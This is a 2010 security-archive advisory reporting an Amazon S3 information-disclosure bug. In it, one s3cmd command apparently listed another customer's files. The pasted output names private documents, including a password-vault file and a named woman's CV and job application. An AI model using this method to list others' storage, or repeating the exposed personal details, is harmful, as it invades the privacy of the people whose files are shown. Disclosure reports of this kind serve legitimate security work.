what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Amazon S3 Information Disclosure

Amazon S3 Information Disclosure
Posted Aug 3, 2010
Authored by TeckniX

s3cmd.rb in Amazon S3 suffers from an information disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | 6f213e76ec9de778edc4ea468f5b262ea7a792b16127e5d56af214713cf5b7e3

Amazon S3 Information Disclosure

Change Mirror Download
I'm not sure if this is the right channel, but I stumbled upon this while
trying to manage some of my own files. Although I didn't to get anything
further than a list, I'm guessing there's a lot more than could be done.

This is an Amazon S3 bucket exploit/bug.
Requirement:
Have an amazon s3 account (aws_access_key_id and aws_secret_access_key)

Tools needed:
http://s3tools.org/s3cmd (ruby based)

Once you have everything setup, run the following:
s3cmd.rb list 100

and you'll get the following:
DiskStation_01_001132038DBD/@tmp/@app/configbackup.dss
DiskStation_01_001132038DBD/Dokumente/!! PASSWORD DEPOT/Passwords Marc.psw
DiskStation_01_001132038DBD/Dokumente/!! SCAN/Thumbs.db
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/.~lock.Abfindung.xls#
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/.~lock.Einnahmen- Ausgaben.xls#
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Anlagenverzeichnis2.doc
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Anlagenverzeichnis2.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/AnschreibenT?v-S?d Anwendungsorganisator Human
Resources.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Lebenslauf Suzana mit Foto.doc
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Lebenslauf Suzana mit Foto.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Scans/0599_001.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Scans/0599_002.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Scans/0599_003.pdf
DiskStation_01_001132038DBD/Dokumente/!! SUZANA DOKUMENTENSAFE
!!/12_Bewerbung Suzana/Scans/0599_004.pdf
....

I'm pretty sure none of those files aren't mine - A simple s3cmd.rb get,
which usually downloads a file, requires a bucket, which isn't listed above.
I'm sure there's a lot more that can be done with a bit more knowledge and
time. I figured I'd inform the security team to allow them to play with it
:)

-TeckniX
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close